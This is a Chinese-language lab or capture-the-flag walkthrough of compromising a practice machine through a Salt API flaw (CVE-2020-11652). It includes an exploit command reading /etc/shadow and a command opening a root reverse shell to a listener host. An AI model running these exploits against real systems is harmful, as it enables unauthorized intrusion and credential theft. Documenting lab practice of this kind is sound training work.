首先先來看看什麼樣的服務是被開啟的
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.175.62 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.175.62 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.175.62 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.175.62 -type recon;
在執行路徑爆破的時候,我們發現了登錄頁面,然後也在開發者工具裡面(or BurpSuite)同時發現了一個非常特別的 header 叫做 X-Upstream
在 exploit DB上面可以找到 salt-api/3000-1 的弱點,然後也有機會拿到他的 shell
我們利用這一個 code 去讀 etc/shadow 由結果看起來是真的有讀到東西,不過當我們想要去讀 etc/passwd 的時候,發現他一直產生 crash 然後無法順利運作,所以只能放棄這一支exploit code。因為已經知道他的 CVE 編號,所以我們可以去看看有沒有其他的 exploit code 可以用
python3 48421.py --master $tIP -r /etc/shadow
GitHub一直是尋找替代 exploit code 的好地方,上面有很多大神會把 code 改寫的更好用或功能更大或者是升級這些 code
那這邊我們使用的是這個 https://github.com/Al1ex/CVE-2020-11652?tab=readme-ov-file 這是針對 CVE-2020-11652
python CVE-2020-11652.py -h
在做過一點基本測試以後,我們設定了監聽並且依照上面提供的範例順利拿到了一個shell
很讚的是我們一進去就是 root 的身份,所以這靶機就算解完了~
python3 CVE-2020-11652.py --master $tIP --shell-LHOST 192.168.45.160 --shell-LPORT 80 --exec-cmd /bin/bash
Great! Get your proof now.